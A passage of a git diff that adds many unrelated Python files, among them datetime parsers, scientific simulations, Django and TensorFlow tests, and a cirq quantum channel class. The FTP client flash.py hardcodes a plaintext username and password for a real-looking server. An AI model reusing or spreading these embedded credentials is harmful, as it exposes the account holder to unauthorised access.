+ l = [] + + VALUE = 10 # Merit function value + create_genf(l0, 1, 1, dist=13.5) + + XS = np.arange(-0.07, 0.07, 0.1) + YS = np.arange(-0.06, 0.06, 0.1) + res = [] + for aX in XS: + for aY in YS: + set_field_angle(l0, 1, aX, aY) + l0.zOptimize(-1, 1) + genf = l0.zGetOperand(1,10) + print aX,aY, genf + res.append(genf) + + \ No newline at end of file diff --git a/pool/shard008/Python/0077124_checkers.py b/pool/shard008/Python/0077124_checkers.py new file mode 100644 index 0000000000000000000000000000000000000000..5985bff546b89d9d9627d16b56764530993a3488 --- /dev/null +++ b/pool/shard008/Python/0077124_checkers.py @@ -0,0 +1,68 @@ +# -*- encoding: utf-8 -*- + +from datetime import datetime +import re +import collections + +__all__ = [ + 'check_reg_exp_datetime', + 'extract_time', + 'reg_exp_datetime', +] + + +def _get_regex(): + return collections.OrderedDict([ + ('(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})+|-(\d{2}):(\d{2})', + "%Y %m %d %H %M"), + ('(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2})', "%Y %m %d %H %M"), + ('(\d{2}).(\d{2}).(\d{4}) (\d{2}):(\d{2})', "%d %m %Y %H %M"), + ('(\d{4})-(\d{2})-(\d{2})', "%Y %m %d"), + ]) + + +def check_reg_exp_datetime(elements: list) -> {}: + result = {} + for regex, pattern in _get_regex().items(): + for date in elements: + res = _math_regex(regex, pattern, date) + if res is not None: + result[pattern] = res + break + return result + + +def extract_time(text: str): + reg_date = collections.OrderedDict( + [ + (r'(\d{2}):(\d{2}):(\d{2}) ?((?:am|pm))', "%I %M %S %p"), + (r'(\d{2}):(\d{2}) ?((?:am|pm))', "%I %M %p"), + (r'(\d{2}):(\d{2})', "%H %M"), + ]) + result = [] + + for regex, pattern in reg_date.items(): + try: + result.extend( + list( + map( + lambda x: datetime.strptime(' '.join(x), pattern), + re.findall(regex, text, re.I)))) + except ValueError: + pass + + return result + + +def _math_regex(regex: str, pattern: str, date: str): + _ = re.search(regex, date) + return datetime.strptime(' '.join(_.groups()[:5]), pattern) if _ else None + + +def reg_exp_datetime(date: str): + result = None + for regex, pattern in _get_regex().items(): + result = _math_regex(regex, pattern, date) + if result is not None: + break + return result diff --git a/pool/shard008/Python/0077136_flash.py b/pool/shard008/Python/0077136_flash.py new file mode 100644 index 0000000000000000000000000000000000000000..0fbd3cb3cf68b300a696648da566ff778110c615 --- /dev/null +++ b/pool/shard008/Python/0077136_flash.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +import sys +import os +import hashlib +import uuid +from ftplib import FTP + +def usage(progname): + print "Usage:" + print progname + " upload " + print "or" + print progname + " submit " + print "or" + print progname + " download " + sys.exit(1) + +def ftpconnect(): + global ftp + ftp = FTP('ftp.atnf.csiro.au') + ftp.login('duchamp005', 'Eev8pato') + +def sendfile(localname, remotename): + ftpconnect() + ftp.cwd('incoming') + ftp.storbinary("STOR " + remotename, open(localname, "rb")) + ftp.quit() + +def upload(filename): + if os.path.splitext(filename)[1] != ".fits": + print "Error: File should have fits extension" + sys.exit(1) + + print "Calculating MD5 hash of file..." + # Calculate the MD5 digest for the file + m = hashlib.md5() + f = open(filename, 'rb') + while True: + t = f.read(1024) + if len(t) == 0: + break # end of file + m.update(t) + digest = m.hexdigest() + f.close + + # Upload file + print "Uploading file " + filename + "..." + remotename = digest + ".fits" + sendfile(filename, remotename) + + # Upload the completion file (indicates completion of the first upload) + sendfile("/dev/null", remotename + ".md5") + + print "Upload completed. File ID: " + remotename + +def submit(filename): + f=open(filename,'r') + lines=f.read().split('\n') + f.close() + if(len([elem for elem in lines if (len(elem.split())==3 and elem[0]!='#' and elem.split()[0]=='Selavy.email')])==0): + print "Error: No valid email address provided. Not submitting job." + sys.exit(1) + + print "Submitting job " + filename + "..." + job_uuid = uuid.uuid4() + remotename = str(job_uuid) + ".job" + sendfile(filename, remotename) + + # Upload the completion file (indicates completion of the first upload) + sendfile("/dev/null", remotename + ".md5") + + print "Job submission complete. Job ID: " + str(job_uuid) + +def download(jobid): + print "Checking for results to download..." + ftpconnect() + ftp.cwd('outgoing') + files = [] + # Find all files matching the pattern + ftp.retrlines("NLST " + jobid + ".*", files.append) + if len(files) == 0: + print "No files to download for jobid " + jobid + ftp.quit() + return + + for filename in files: + print "Downloading file " + filename + file = open(filename, 'wb') + ftp.retrbinary("RETR " + filename, file.write) + file.close + + ftp.quit() + +# main() +if len(sys.argv) != 3: + usage(sys.argv[0]) + +if sys.argv[1] == "upload": + upload(sys.argv[2]) +elif sys.argv[1] == "submit": + submit(sys.argv[2]) +elif sys.argv[1] == "download": + download(sys.argv[2]) +else: + usage(sys.argv[0]) diff --git a/pool/shard008/Python/0077139_FY1001_num_oving.py b/pool/shard008/Python/0077139_FY1001_num_oving.py new file mode 100644 index 0000000000000000000000000000000000000000..a4db929167e38a71cfaf2b0b88b87f22f61011dd --- /dev/null +++ b/pool/shard008/Python/0077139_FY1001_num_oving.py @@ -0,0 +1,72 @@ +import math +import matplotlib.pyplot as plt + + +def delta_v(theta, delta_t, g): + dv = -g * math.sin(theta) * delta_t + return dv + + +def new_v(old_v, theta, delta_t, g): + v = old_v + delta_v(theta, delta_t, g) + return v + + +def delta_theta(v, delta_t): + d_theta = v * delta_t + return d_theta + + +def new_theta(old_theta, v, delta_t): + theta = old_theta + delta_theta(v, delta_t) + return theta + + +def plot_theta(list_t, list_theta): + plt.plot(list_t, list_theta) + plt.title("v = 7 m/s") + plt.ylabel(r"${\theta}$ (grader)") + plt.xlabel("t ($s$)") + + +def plot_energy(list_t, list_e, list_pot, list_kin): + plt.plot(list_t, list_e, "r", label="Mekanisk energi") + plt.plot(list_t, list_pot, 'b--', label="Potensiell energi") + plt.plot(list_t, list_kin, 'g--', label="Kinetisk energi") + plt.title("v = 7 m/s") + plt.xlabel(r"t ($s$)") + plt.ylabel(r"E/m ($m^2/s^2$)") + plt.legend() + + +def main(): + f = open("plot.txt", "w") + g = 9.81 + theta = math.pi + v = 0 + t = 0 + delta_t = 0.0001 + list_t = [] + list_theta = [] + list_e = [] + list_kin = [] + list_pot = [] + for i in range(200000): + e_pot = (1 - math.cos(theta)) * g + e_kin = v**2 / 2 + e = e_kin + e_pot + list_e.append(e) + list_kin.append(e_kin) + list_pot.append(e_pot) + list_t.append(t) + list_theta.append(math.degrees(theta)) + theta = new_theta(theta, v, delta_t) + v = new_v(v, theta, delta_t, g) + t += delta_t + f.write(str(t) + "\t" + str(math.degrees(theta)) + "\t" + str(e) + "\n") + f.close() + plot_theta(list_t, list_theta) + # plot_energy(list_t, list_e, list_pot, list_kin) + plt.show() + +main() diff --git a/pool/shard008/Python/0077142_folia2kaf.py b/pool/shard008/Python/0077142_folia2kaf.py new file mode 100644 index 0000000000000000000000000000000000000000..f3ed15d7c30404ee99688823f87ee26d945cdd61 --- /dev/null +++ b/pool/shard008/Python/0077142_folia2kaf.py @@ -0,0 +1,120 @@ +"""Create a KAF file for each act in a FoLiA file +Usage: python folia2kaf.py +Or: ./generate_kaf.sh
+""" +from lxml import etree +from bs4 import BeautifulSoup +from embem.emotools.bs4_helpers import act, sentence, word, speaker_turn, note +import argparse +import os + + +_folia_pos2kaf_pos = { + 'WW': 'V', # Werkwoord -> Verb + 'VNW': 'Q', # Voornaamwoord -> Pronoun + 'VZ': 'P', # Voorzetsel -> Preposition + 'LID': 'D', # Lidwoord -> Determiner + 'N': 'N', # Zelfstandig naamwoord -> Common noun + 'VG': 'C', # Voegwoord -> Conjunction + 'TW': 'O', # Interjection (?) -> Other + 'BW': 'A', # Bijwoord -> Adverb + 'LET': 'O', # Interpunctie -> Other + 'TSW': 'O', # Ja/nee(?) -> Other + 'ADJ': 'G', # Bijvoegelijk naamwoord -> Adjective + 'SPEC': 'O' # Special (niet nader gespecificeerd) -> Other + # Geen folia_pos voor Proper Noun (R) +} + + +def kaf_file_name(input_file, act_number): + head, tail = os.path.split(input_file) + p = tail.split('.') + return '{n}__act-0{a}.kaf'.format(a=act_number, n=p[0]) + + +def add_word2kaf(elem, w_id, s_id, term_id, text, terms): + w_id = elem.get('xml:id') + w = etree.SubElement(text, 'wf', wid=w_id, sent=s_id) + w.text = unicode(elem.t.string) + lemma = elem.lemma.get('class') + pos = _folia_pos2kaf_pos[elem.pos.get('head', 'SPEC')] + + t_id = 't{wid}'.format(wid=term_id) + t = etree.SubElement(terms, 'term', tid=t_id, type='open', lemma=lemma, + pos=pos) + s = etree.SubElement(t, 'span') + target = etree.SubElement(s, 'target', id=w_id) + + +def act2kaf(act_xml, sentence_id): + """Convert act to kaf xml. Returns an XML tree that can be written to file. + """ + print 'act:', act_xml.find('div', 'act').attrs.get('xml:id') + + kaf_document = None + subacts = act_xml.find_all(act) + + # act_xml should contain exactly one act; if it contains more acts, these + # acts are sub acts, that will be processed later + if len(subacts) == 1: + term_id = 1 + + # create output kaf xml tree for act + root = etree.Element('KAF') + kaf_document = etree.ElementTree(root) + text = etree.SubElement(root, 'text') + terms = etree.SubElement(root, 'terms') + + for elem in act_xml.descendants: + if sentence(elem) and not note(elem.parent): + sentence_id += 1 + elif word(elem) and not note(elem.parent.parent): + add_word2kaf(elem, w_id, str(sentence_id), term_id, text, + terms) + + term_id += 1 + + return kaf_document, sentence_id + + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('file', help='the name of the FoLiA XML file to ' + 'generate KAF files for') + parser.add_argument('output_dir', help='the directory where the ' + 'generated KAF files should be saved') + args = parser.parse_args() + + file_name = args.file + output_dir = args.output_dir + + act_tag = '{http://ilk.uvt.nl/folia}div' + + # Load document + context = etree.iterparse(file_name, events=('end',), tag=act_tag) + + act_number = 0 + + s_id = 0 # in KAF, sentence numbers must be integers + w_id = None + + for event, elem in context: + if elem.tag == act_tag and elem.get('class') == 'act': + # load act into memory + act_xml = BeautifulSoup(etree.tostring(elem), 'xml') + kaf_document, s_id = act2kaf(act_xml, s_id) + + if kaf_document: + act_number += 1 + + # write kaf xml tree to file + kaf_file = '{}{}{}'.format(output_dir, os.sep, + kaf_file_name(file_name, + act_number)) + print kaf_file + with open(kaf_file, 'w') as f: + kaf_document.write(f, + xml_declaration=True, + encoding='utf-8', + method='xml', + pretty_print=True) diff --git a/pool/shard008/Python/0077145_array_file.py b/pool/shard008/Python/0077145_array_file.py new file mode 100644 index 0000000000000000000000000000000000000000..3d2b8d0557b07495e9bd869e7931d424ea8b3eb1 --- /dev/null +++ b/pool/shard008/Python/0077145_array_file.py @@ -0,0 +1,22 @@ +import array +import binascii +import tempfile + +a = array.array('i', range(5)) +print('A1:', a) + +# Write the array of numbers to a temporary file +output = tempfile.NamedTemporaryFile() +a.tofile(output.file) # must pass an *actual* file +output.flush() + +# Read the raw data +with open(output.name, 'rb') as input: + raw_data = input.read() + print('Raw Contents:', binascii.hexlify(raw_data)) + + # Read the data into an array + input.seek(0) + a2 = array.array('i') + a2.fromfile(input, len(a)) + print('A2:', a2) diff --git a/pool/shard008/Python/0077146_extract_all.py b/pool/shard008/Python/0077146_extract_all.py new file mode 100644 index 0000000000000000000000000000000000000000..9c8090945d8345a401df9897c217eff23c47fc34 --- /dev/null +++ b/pool/shard008/Python/0077146_extract_all.py @@ -0,0 +1,114 @@ +#!/usr/bin/python + +# This is the last stage of the extractor thingy. It gets all the info from the +# html and creates nice per-chapter protobuf files. It can also be run in +# parallel, hopefully. + +from bs4 import BeautifulSoup +import effulgence_pb2 as eproto + +import re +import sys +import os + +import common + +def process_chapter(chapter): + flat_files = [s.replace("http://", "web_cache/") for s in chapter.flat_url] + + parent_threads = {} # Comment ID to LinearCommentThread ref, for all the + # comments seen so far. + + for flat_file in flat_files: + with open(flat_file) as f: + print flat_file + soup = BeautifulSoup(f) + + extract_comment_soup(soup, chapter, parent_threads) + + +def extract_comment(c_div): + """Given a comment div element obj, returns a Comment proto, with the values +filled in.""" + c = eproto.Comment() + c.by_user = c_div.find(True, class_="poster").find("b").text + c.moiety = user_to_moiety_dict.get(c.by_user, "") + + img_tag = c_div.find("div", class_="userpic").find("img") + + # Apparently, not all comments have images. + if img_tag: + c.icon_url = img_tag["src"] + c.icon_text = img_tag["alt"] + c.icon_image_name = common.img_url_to_internal(c.icon_url) + + c.timestamp = c_div.find("span", class_="datetime").text.strip() + c.cmt_id = int(re.match(r"comment-cmt([0-9]+)", c_div["id"]).groups()[0]) + c.text = c_div.find("div", class_="comment-content").decode_contents(formatter="html") + return c + +def extract_comment_soup(soup, chapter, parent_threads): + # Look at all the comments. + all_comments = soup.find_all("div", class_="comment") + for c_div in all_comments: + comment = extract_comment(c_div) + + # Find relevant thread; if the comment doesn't have parents, create a + # new one. + parent_link_li = c_div.find(True, class_="commentparent") + if parent_link_li: + parent_link_href = parent_link_li.find("a")["href"] + # This is something like + # http://self-composed.dreamwidth.org/10014.html?thread=2066206&style=site#cmt2066206 + parent_id = int(re.search(r"cmt([0-9]+)$", parent_link_href).groups()[0]) + if parent_id in parent_threads: + parent_thread = parent_threads[parent_id] + if parent_thread.comment[-1].cmt_id != parent_id: + # We need to start a new thread and move the old successor + # comments of parent to a new, different thread. + branch_thread(parent_thread, parent_id) + + # At this point, the parent is the last comment of parent_thread. + if parent_thread.children: + our_linear_comment_thread = parent_thread.children.add() + else: + our_linear_comment_thread = parent_thread + else: # Parent ID earlier in this chapter + raise "Reference to unknown parent %d" % parent_id + else: # No parent link + our_linear_comment_thread = chapter.thread.add() + + parent_threads[comment.cmt_id] = our_linear_comment_thread + our_linear_comment_thread.comment.extend([comment]) + +def branch_thread(thread, from_id): + # Get the index of the branch point + indexes = [i for i, cmt in enumerate(thread.comment) if cmt.cmt_id == from_id] + assert len(indexes) == 1 # Must split from a comment in the thread + index = indexes[0] + + # Get details for new thread + after_index = thread.comment[index + 1:] + children = thread.children[:] + + # Clean up old thread + del thread.comment[index + 1:] + del thread.children[:] + + # Add new child thread + child = thread.children.add() + child.comment.extend(after_index) + child.children.extend(thread.children) + + return child + +chapters = common.get_chapters_from_stdin() + +# Mapping usernames to authors. +user_to_moiety_dict = common.load_profile_data() + +for chapter in chapters.chapter: + process_chapter(chapter) + with open(os.path.join("chapters_pbtxt", + chapter.full_chapter_file_name), mode="w") as f: + f.write(str(chapter)) diff --git a/pool/shard008/Python/0077150_models.py b/pool/shard008/Python/0077150_models.py new file mode 100644 index 0000000000000000000000000000000000000000..9f8cf594f07880970e178f33d1265568ddb99bfb --- /dev/null +++ b/pool/shard008/Python/0077150_models.py @@ -0,0 +1,27 @@ +from django.db import models +from django.conf import settings + + +if not getattr(settings, 'DACH_CONFIG').get('storage', None): + + __all__ = ['DachObject'] + + class DachManager(models.Manager): + def get_or_none(self, *args, **kwargs): + try: + return self.get(*args, **kwargs) + except self.model.DoesNotExist: + return None + + class DachObject(models.Model): + + objects = DachManager() + + id = models.CharField( + primary_key=True, + max_length=1024 + ) + + value = models.TextField( + null=False + ) diff --git a/pool/shard008/Python/0077153_init__.py b/pool/shard008/Python/0077153_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..0d31af1e521041df7235e3ab484b375db3541093 --- /dev/null +++ b/pool/shard008/Python/0077153_init__.py @@ -0,0 +1,80 @@ +# -*- coding: utf-8 -*- +""" +udon - Universal Document Normalizer + +This module normalizes lengthened English expression having repeating letters. +(e.g., this module converts "cooooooooooooooollllllllllllll" to "cool") + +This module is based on the following paper: +Samuel Brody and Nicholas Diakopoulos. +Cooooooooooooooollllllllllllll!!!!!!!!!!!!!! using word lengthening to detect sentiment in microblogs. +In EMNLP2011, pp. 562-570, 2011. +http://aclweb.org/anthology//D/D11/D11-1052.pdf + + +Author: + Yukino Ikegami + +Lisence: + MIT License + +Usage: + import udon + text = udon.normalize_word(text) # Normalization for a word + text = udon.normalize_sentence(text) # Normalization for a sentence +""" +from sys import version_info +import re +from . import _conv_table + +re_symbol = re.compile('[^a-zA-Z0-9]{2,256}$') + +if version_info < (3, 0, 0): + range = xrange + + +def cut_repeat(text, threshold): + """Reduce repeated characters until threshold + Param: + text + threshould + Return: + result + """ + text = list(text) + result = text[0] + count = 0 + for i in range(1, len(text)): + if text[i - 1] == text[i]: + count += 1 + if count < threshold: + result += text[i] + else: + count = 0 + result += text[i] + return result + + +def normalize_word(word): + """Normalize repeat expression for English + Param: + word + Return: + normalized_word + """ + suffix_symbol = re_symbol.findall(word) + if suffix_symbol: + word = word.replace(suffix_symbol[0], '') + word = cut_repeat(word, 2) + word = _conv_table.english.get(word, word) + return (word + cut_repeat(suffix_symbol[0], 1)) if suffix_symbol else word + + +def normalize_sentence(sentence): + """Normalize for each word + Param: + sentence + Return: + normalized_sentence + """ + return ' '.join([normalize_word(word) for word in sentence.split()]) diff --git a/pool/shard008/Python/0077158_results.py b/pool/shard008/Python/0077158_results.py new file mode 100644 index 0000000000000000000000000000000000000000..5ff3376bfd2af1313c011a1fe087a4e9d29b8546 --- /dev/null +++ b/pool/shard008/Python/0077158_results.py @@ -0,0 +1,101 @@ +''' +Created on 27 Aug 2012 + +@author: will +''' +from Tkinter import (Frame, Listbox, Scrollbar, Button, Label, N, S, E, W, + VERTICAL, SINGLE, END) + + +class ResultPane(Frame): + + def __init__(self, resultlist, master=None): + Frame.__init__(self, master, padx=3, pady=5) + self.resultlist = resultlist + self.__splitlist() + self.__createWidgets() + + def __splitlist(self): + minwordlen = len(min(self.resultlist, key=lambda x: len(x))) + maxwordlen = len(max(self.resultlist, key=lambda x: len(x))) + self.wordsbylength = [[] for x in range((maxwordlen - minwordlen) + 1)] + for word in self.resultlist: + listidx = len(word) - minwordlen + self.wordsbylength[listidx].append(word) + for i, rlist in enumerate(self.wordsbylength): + self.wordsbylength[i] = sorted(rlist) + + def __createWidgets(self): + col = 0 + for rlist in self.wordsbylength: + if len(rlist) > 0: + wordlen = len(rlist[0]) + lbl = Label(text='(%d)' % len(rlist)) + res = ResultList() + res.fill(rlist) + res.lbl.config(text='%d Letters' % wordlen) + res.grid(row=0, column=col, in_=self, sticky=N + E + W) + res.width(wordlen + 1) + lbl.grid(row=1, column=col, in_=self) + col += 1 + Label(text='%d Words' % len(self.resultlist)).grid(row=2, column=0, + columnspan=col + 1, + in_=self) + + +class ResultList(Frame): + ''' + Result List widget + ''' + + def __init__(self, master=None): + Frame.__init__(self, master, padx=3, pady=3) + self.columnconfigure(0, weight=1, minsize=50) + self.columnconfigure(1, weight=1000) + self.columnconfigure(2, weight=1, minsize=10) + self.__createWidgets() + self.show() + + def __createWidgets(self): + self.lbl = Label(text='') + self.lbl.grid(row=1, column=0, columnspan=2, in_=self) + self.__hide_button = Button(text='Hide', command=self.hide) + self.__hide_button.grid(row=0, column=0, columnspan=2, in_=self) + self.__yScroll = Scrollbar(orient=VERTICAL) + self.list = Listbox(yscrollcommand=self.__yScroll.set, + selectmode=SINGLE) + self.__yScroll.config(command=self.list.yview) + + def show(self): + self.__hide_button.config(text='Hide', command=self.hide) + self.list.grid(row=2, column=0, columnspan=2, + sticky=N + S + E + W, in_=self) + self.__yScroll.grid(row=2, column=2, sticky=W + N + S, in_=self) + + def hide(self): + self.__hide_button.config(text='Show', command=self.show) + self.list.grid_forget() + self.__yScroll.grid_forget() + + def clear(self): + self.list.delete(0, END) + + def fill(self, valList): + self.clear() + for v in valList: + self.list.insert(END, v) + self.list.see(0) + self.select(0) + + def append(self, val): + self.list.insert(END, val) + self.list.see(END) + + def select(self, index=0): + self.list.selection_set(index) + + def selected(self): + return int(self.list.curselection()[0]) + + def width(self, width): + self.list.config(width=width) diff --git a/pool/shard008/Python/0077164_tests.py b/pool/shard008/Python/0077164_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..df752b3149f4c388000a2393efe5a5a9f9483585 --- /dev/null +++ b/pool/shard008/Python/0077164_tests.py @@ -0,0 +1,158 @@ +from __future__ import unicode_literals +import warnings + +from django.test.testcases import SimpleTestCase +from django.utils import six +from django.utils.deprecation import RenameMethodsBase + + +class RenameManagerMethods(RenameMethodsBase): + renamed_methods = ( + ('old', 'new', PendingDeprecationWarning), + ) + + +class RenameMethodsTests(SimpleTestCase): + """ + Tests the `RenameMethodsBase` type introduced to rename `get_query_set` + to `get_queryset` across the code base following #15363. + """ + + def test_class_definition_warnings(self): + """ + Ensure a warning is raised upon class definition to suggest renaming + the faulty method. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('always') + class Manager(six.with_metaclass(RenameManagerMethods)): + def old(self): + pass + self.assertEqual(len(recorded), 1) + msg = str(recorded[0].message) + self.assertEqual(msg, + '`Manager.old` method should be renamed `new`.') + + def test_get_new_defined(self): + """ + Ensure `old` complains and not `new` when only `new` is defined. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('ignore') + class Manager(six.with_metaclass(RenameManagerMethods)): + def new(self): + pass + warnings.simplefilter('always') + manager = Manager() + manager.new() + self.assertEqual(len(recorded), 0) + manager.old() + self.assertEqual(len(recorded), 1) + msg = str(recorded.pop().message) + self.assertEqual(msg, + '`Manager.old` is deprecated, use `new` instead.') + + def test_get_old_defined(self): + """ + Ensure `old` complains when only `old` is defined. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('ignore') + class Manager(six.with_metaclass(RenameManagerMethods)): + def old(self): + pass + warnings.simplefilter('always') + manager = Manager() + manager.new() + self.assertEqual(len(recorded), 0) + manager.old() + self.assertEqual(len(recorded), 1) + msg = str(recorded.pop().message) + self.assertEqual(msg, + '`Manager.old` is deprecated, use `new` instead.') + + def test_deprecated_subclass_renamed(self): + """ + Ensure the correct warnings are raised when a class that didn't rename + `old` subclass one that did. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('ignore') + class Renamed(six.with_metaclass(RenameManagerMethods)): + def new(self): + pass + class Deprecated(Renamed): + def old(self): + super(Deprecated, self).old() + warnings.simplefilter('always') + deprecated = Deprecated() + deprecated.new() + self.assertEqual(len(recorded), 1) + msg = str(recorded.pop().message) + self.assertEqual(msg, + '`Renamed.old` is deprecated, use `new` instead.') + recorded[:] = [] + deprecated.old() + self.assertEqual(len(recorded), 2) + msgs = [str(warning.message) for warning in recorded] + self.assertEqual(msgs, [ + '`Deprecated.old` is deprecated, use `new` instead.', + '`Renamed.old` is deprecated, use `new` instead.', + ]) + + def test_renamed_subclass_deprecated(self): + """ + Ensure the correct warnings are raised when a class that renamed + `old` subclass one that didn't. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('ignore') + class Deprecated(six.with_metaclass(RenameManagerMethods)): + def old(self): + pass + class Renamed(Deprecated): + def new(self): + super(Renamed, self).new() + warnings.simplefilter('always') + renamed = Renamed() + renamed.new() + self.assertEqual(len(recorded), 0) + renamed.old() + self.assertEqual(len(recorded), 1) + msg = str(recorded.pop().message) + self.assertEqual(msg, + '`Renamed.old` is deprecated, use `new` instead.') + + def test_deprecated_subclass_renamed_and_mixins(self): + """ + Ensure the correct warnings are raised when a subclass inherit from a + class that renamed `old` and mixins that may or may not have renamed + `new`. + """ + with warnings.catch_warnings(record=True) as recorded: + warnings.simplefilter('ignore') + class Renamed(six.with_metaclass(RenameManagerMethods)): + def new(self): + pass + class RenamedMixin(object): + def new(self): + super(RenamedMixin, self).new() + class DeprecatedMixin(object): + def old(self): + super(DeprecatedMixin, self).old() + class Deprecated(DeprecatedMixin, RenamedMixin, Renamed): + pass + warnings.simplefilter('always') + deprecated = Deprecated() + deprecated.new() + self.assertEqual(len(recorded), 1) + msg = str(recorded.pop().message) + self.assertEqual(msg, + '`RenamedMixin.old` is deprecated, use `new` instead.') + deprecated.old() + self.assertEqual(len(recorded), 2) + msgs = [str(warning.message) for warning in recorded] + self.assertEqual(msgs, [ + '`DeprecatedMixin.old` is deprecated, use `new` instead.', + '`RenamedMixin.old` is deprecated, use `new` instead.', + ]) diff --git a/pool/shard008/Python/0077168_numerics_test.py b/pool/shard008/Python/0077168_numerics_test.py new file mode 100644 index 0000000000000000000000000000000000000000..6e0799363b7fe0bfa33cdcdb4a83aac589f8c022 --- /dev/null +++ b/pool/shard008/Python/0077168_numerics_test.py @@ -0,0 +1,101 @@ +# Copyright 2015 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== + +"""Tests for tensorflow.ops.numerics.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import numpy as np +import tensorflow as tf + +from tensorflow.python.ops import control_flow_ops + + +class VerifyTensorAllFiniteTest(tf.test.TestCase): + + def testVerifyTensorAllFiniteSucceeds(self): + x_shape = [5, 4] + x = np.random.random_sample(x_shape).astype(np.float32) + with self.test_session(use_gpu=True): + t = tf.constant(x, shape=x_shape, dtype=tf.float32) + t_verified = tf.verify_tensor_all_finite(t, "Input is not a number.") + self.assertAllClose(x, t_verified.eval()) + + def testVerifyTensorAllFiniteFails(self): + x_shape = [5, 4] + x = np.random.random_sample(x_shape).astype(np.float32) + my_msg = "Input is not a number." + + # Test NaN. + x[0] = np.nan + with self.test_session(use_gpu=True): + with self.assertRaisesOpError(my_msg): + t = tf.constant(x, shape=x_shape, dtype=tf.float32) + t_verified = tf.verify_tensor_all_finite(t, my_msg) + t_verified.eval() + + # Test Inf. + x[0] = np.inf + with self.test_session(use_gpu=True): + with self.assertRaisesOpError(my_msg): + t = tf.constant(x, shape=x_shape, dtype=tf.float32) + t_verified = tf.verify_tensor_all_finite(t, my_msg) + t_verified.eval() + + +class NumericsTest(tf.test.TestCase): + + def testInf(self): + with self.test_session(graph=tf.Graph()): + t1 = tf.constant(1.0) + t2 = tf.constant(0.0) + a = tf.div(t1, t2) + check = tf.add_check_numerics_ops() + a = control_flow_ops.with_dependencies([check], a) + with self.assertRaisesOpError("Inf"): + a.eval() + + def testNaN(self): + with self.test_session(graph=tf.Graph()): + t1 = tf.constant(0.0) + t2 = tf.constant(0.0) + a = tf.div(t1, t2) + check = tf.add_check_numerics_ops() + a = control_flow_ops.with_dependencies([check], a) + with self.assertRaisesOpError("NaN"): + a.eval() + + def testBoth(self): + with self.test_session(graph=tf.Graph()): + t1 = tf.constant([1.0, 0.0]) + t2 = tf.constant([0.0, 0.0]) + a = tf.div(t1, t2) + check = tf.add_check_numerics_ops() + a = control_flow_ops.with_dependencies([check], a) + with self.assertRaisesOpError("Inf and NaN"): + a.eval() + + def testPassThrough(self): + with self.test_session(graph=tf.Graph()): + t1 = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3]) + checked = tf.check_numerics(t1, message="pass through test") + value = checked.eval() + self.assertAllEqual(np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]]), value) + self.assertEqual([2, 3], checked.get_shape()) + + +if __name__ == "__main__": + tf.test.main() diff --git a/pool/shard008/Python/0077169_mixed_unitary_channel.py b/pool/shard008/Python/0077169_mixed_unitary_channel.py new file mode 100644 index 0000000000000000000000000000000000000000..5f5bdb9b9e2e47cb177957360499844b3834f93f --- /dev/null +++ b/pool/shard008/Python/0077169_mixed_unitary_channel.py @@ -0,0 +1,143 @@ +# pylint: disable=wrong-or-nonexistent-copyright-notice +from typing import Any, Dict, FrozenSet, Iterable, Tuple, TYPE_CHECKING, Union +import numpy as np + +from cirq import linalg, protocols, value +from cirq._compat import proper_repr +from cirq.ops import raw_types + +if TYPE_CHECKING: + import cirq + + +class MixedUnitaryChannel(raw_types.Gate): + """A generic mixture that can record the index of its selected operator. + + This type of object is also referred to as a mixed-unitary channel. + + Args: + mixture: a list of (probability, qubit unitary) pairs + key: an optional measurement key string for this mixture. Simulations + which select a single unitary to apply will store the index + of that unitary in the measurement result list with this key. + validate: if True, validate that `mixture` describes a valid mixture. + This validation can be slow; prefer pre-validating if possible. + """ + + def __init__( + self, + mixture: Iterable[Tuple[float, np.ndarray]], + key: Union[str, 'cirq.MeasurementKey', None] = None, + validate: bool = False, + ): + mixture = list(mixture) + if not mixture: + raise ValueError('MixedUnitaryChannel must have at least one unitary.') + if not protocols.approx_eq(sum(p[0] for p in mixture), 1): + raise ValueError('Unitary probabilities must sum to 1.') + m0 = mixture[0][1] + num_qubits = np.log2(m0.shape[0]) + if not num_qubits.is_integer() or m0.shape[1] != m0.shape[0]: + raise ValueError( + f'Input mixture of shape {m0.shape} does not ' + 'represent a square operator over qubits.' + ) + self._num_qubits = int(num_qubits) + for i, op in enumerate(p[1] for p in mixture): + if not op.shape == m0.shape: + raise ValueError( + f'Inconsistent unitary shapes: op[0]: {m0.shape}, op[{i}]: {op.shape}' + ) + if validate and not linalg.is_unitary(op): + raise ValueError(f'Element {i} of mixture is non-unitary.') + self._mixture = mixture + if not isinstance(key, value.MeasurementKey) and key is not None: + key = value.MeasurementKey(key) + self._key = key + + @staticmethod + def from_mixture( + mixture: 'protocols.SupportsMixture', key: Union[str, 'cirq.MeasurementKey', None] = None + ): + """Creates a copy of a mixture with the given measurement key.""" + return MixedUnitaryChannel(mixture=list(protocols.mixture(mixture)), key=key) + + def __eq__(self, other) -> bool: + if not isinstance(other, MixedUnitaryChannel): + return NotImplemented + if self._key != other._key: + return False + if not np.allclose( + [m[0] for m in self._mixture], + [m[0] for m in other._mixture], + ): + return False + return np.allclose( + [m[1] for m in self._mixture], + [m[1] for m in other._mixture], + ) + + def num_qubits(self) -> int: + return self._num_qubits + + def _mixture_(self): + return self._mixture + + def _measurement_key_name_(self) -> str: + if self._key is None: + return NotImplemented + return 